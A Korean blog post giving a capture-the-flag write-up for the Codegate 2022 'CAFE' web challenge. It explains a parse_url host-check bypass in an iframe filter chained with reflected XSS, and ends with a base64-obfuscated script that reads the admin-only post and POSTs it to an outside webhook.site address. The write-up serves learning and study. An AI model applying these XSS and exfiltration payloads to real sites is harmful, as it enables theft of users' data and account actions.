티스토리 뷰

보안/CTF

[Codegate2022예선] (WEB) CAFE 문제풀이

돔돔이부하 2022. 2. 28. 15:27
728x90
반응형

문제개요

Stored XSS

 

코드분석

플래그 위치

-- db.sql 파일내용 중 일부분
INSERT INTO `posts` VALUES (0, 'flag', 'codegate2022{EXAMPLE_FLAG}', 'admin', 0);

우선 db.sql 파일을 확인함으로써 플래그의 위치가 첫번째 포스팅에 있다는 것을 알 수 있었습니다.

 

그래서 첫번째 포스팅을 읽기 위해서 /read?no=1 를 해보았으나, 아래 코드로 인해 admin 계정으로만 모든 포스팅을 볼 수 있기에 No 문자열이 출력되고 포스팅이 보이지 않음을 알 수 있습니다.

<?php 
  // read.php 파일 내용
  if( isset($_GET['no'])  ){
    $no = intval($_GET['no']);
    $id = $_SESSION['id'];

    $res = getPost($no);

    if ($id !== $res['val']['writer']) {
      if ($id !== 'admin') { // admin cat see all posts
        die('No');
      } 
    }
    
    updateViews($no);

  }
?>

 

XSS 타겟

문제에는 게시글을 신고할 수 있는 기능이 있었습니다. 그리고 신고 시에는 아래코드가 작동합니다.

// utils.php
function report($no) {
  system("/run.sh ${no} > /dev/null");
}

그리고 위 system 함수가 실행하는 run.sh 는 문제파일의 bot.sh 와 동일한 것 같았습니다. bot.sh 파일의 내용은 아래와 같습니다.

#!/bin/bash

timeout 10 /bot.py $1

그리고 bot.py 의 내용은 headless chrome browser 로 관리자로 로그인 후 /read?no=번호 페이지로 이동해서 내용을 확인하는 기능을 합니다. (물론 이곳에서 관리자 id와 pw 가 노출되고 이 아이디와 패스워드로 로그인하면 관리자로 로그인 가능한 언인텐이 있긴하지만 말이죠.)

driver.get('http://3.39.55.38:1929/login')
# 생략
driver.get('http://3.39.55.38:1929/read?no=' + str(sys.argv[1]))

결국 신고 기능을 이용하면 봇이 해당 신고된 게시글을 확인하게 된다는 것을 알 수 있습니다. 이로써 XSS 타겟을 확인하였습니다.

 

이제 XSS 코드를 삽입할 곳을 찾아봐야 하는데 단순히 content 파라미터에 html tag를 삽입하기엔 각종 필터링들(htmlspecialchars, filterHtml)로 인해서 다소 XSS삽입이 어려워보였습니다. 그러다가 filterHtml 에 굳이 iframe 태그에서 youtube.com 이라는 도메인만을 사용가능하다고 되어 있기에 유심히 보게 되었습니다.

case 'iframe':
    $src = $element->src;
    $host = parse_url($src)['host'];
    if (strpos($host, 'youtube.com') !== false){
      $result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
    }
    break;

switch 문의 일부분인데 위 코드에서 보면 parse_url 함수로 host를 추출하는 것을 볼 수 있습니다. 그리고 strpos 로 단순히 youtube.com 이 src에서 포함하고 있는지 여부만을 확인합니다. 그리고 별도의 문자열 변환없이 src 를 그대로 iframe 태그의 src에 활용합니다.

 

일단 가장 먼저 든 생각은 hostname spoofing 이었습니다. 아래와 같이 Base Authentication 을 포함한 URI를 구성해볼 수 있겠습니다.

http://domdomi:world@youtube.com/test?test=1234

그럼 여기서 당연히 hostname 은 youtube.com 으로 인식되겠습니다. 근데 여기서는 이제 php 기준 문자열과 iframe 태그 기준 문자열 처리방식이 다른점을 이용할 수 있습니다. 아래 페이로드를 보도록 하겠습니다.

http://3.39.55.38:1929\@youtube.com/test?test=1234

php에서는 @ 가 백슬래시와 함께 쓰여서 특수문자 escaping을 한 것과 같이 되서 그냥 @로 처리하게 됩니다. 그래서 문제없이 정상 URL과 동일한게 youtube.com 을 hostname 으로 인식할 것입니다.

 

다만 iframe 태그에서는 이 백슬래시를 / 그냥 슬래시로 인식합니다. 그렇기 때문에 아래와 같은 결과로 인식됩니다.

http://3.39.55.38:1929/@youtube.com/test?test=1234

결국 문제 사이트에 요청을 보낸 것과 같습니다. 다만 경로가 /@youtube.com/test 로 없는 URL path 를 요청한 것과 같습니다. 이제 여기에 올바른 path를 입력해주면 되겠죠.

 

hostname spoofing 은 이 정도로 마무리될 것 같습니다. 이제 진짜 XSS Injection 지점을 찾아야 하는데, 마침 iframe 태그에 URL을 입력함으로써 Reflected XSS 가 가능할 것 같아 해당 지점을 찾아보았습니다.

그리고 유일하게 파라미터를 받는 지점이 있었는데 바로 /search 였습니다.

<?php 
  if(isset($_GET['text'])){
    $text = $_GET['text'];
    $id = $_SESSION['id'];

    $posts = searchPosts('%'.$text.'%', $id)['all'];
  }
?>
... 생략 ...
<p>Search result: <?= $text ?> </p>

보시다시피 text 파라미터에 대한 html escape 를 전혀하지 않는 모습을 볼 수 있습니다. 그러면 /search?text=<script>alert(1)</script> 형태로 Reflected XSS가 가능함을 알게 됩니다.

 

그리고 위에서 보았던 php 와 iframe 태그 간의 간극을 이용한 hostname spoofing 을 이용해서 아래와 같은 페이로드를 만들 수 있습니다.

http://3.39.55.38:1929\@youtube.com/../search?text=%3Cscript%3Ealert(1)%3C/script%3E

위는 php 의 parse_url 에 넘겨질 파라미터의 값이라고 한다면 iframe 태그에서는 위 내용을 아래와 같이 변환해서 인식하게 됩니다.

http://3.39.55.38:1929/@youtube.com/../search?text=%3Cscript%3Ealert(1)%3C/script%3E

그리고 크롬브라우저에서는 ../ 를 다시 자동 변환해서 최종적으로 아래와 같은 URL을 만들어낼 것입니다.

http://3.39.55.38:1929/search?text=%3Cscript%3Ealert(1)%3C/script%3E

이렇게 해서 SOP(Security Origin Policy) 정책도 위반하지 않고 정상적으로 script 를 실행할 수 있게 됩니다.

 

이로써 문제를 풀기위한 수단은 모두 마련되었습니다.

 

문제풀이

script 내용은 /read?no=1 요청을 한 응답 내용을 post 방식으로 공격자의 서버로 보내는 것입니다.

<iframe src="http://3.39.55.38:1929\@youtube.com/../search?text=%3Cscript%3Eeval(atob('ZmV0Y2goJy9yZWFkP25vPTEnKS50aGVuKGFzeW5jIGZ1bmN0aW9uKHJlcyl7dmFyIGE9YXdhaXQgcmVzLnRleHQoKTtmZXRjaCgnaHR0cHM6Ly93ZWJob29rLnNpdGUvN2IwODBhNzQtOTNiMC00MjYxLTk0YzctYWQ3MGQzZjZkZjI1Jyx7J21ldGhvZCc6J3Bvc3QnLCdib2R5JzonYT0nK2F9KTt9KTs%3D'))%3B%3C%2Fscript%3E"></iframe>

위 페이로드 작성한 포스팅을 작성하면 아래와 같이 iframe 태그가 잘 삽입된 것을 확인할 수 있습니다.

그리고 report 신고버튼을 눌러서 봇에게 보내보았습니다. 그리고 공격자의 서버에는 Flag 값이 담긴 내용을 확인할 수 있게 됩니다.

- 끝 -

728x90
반응형
댓글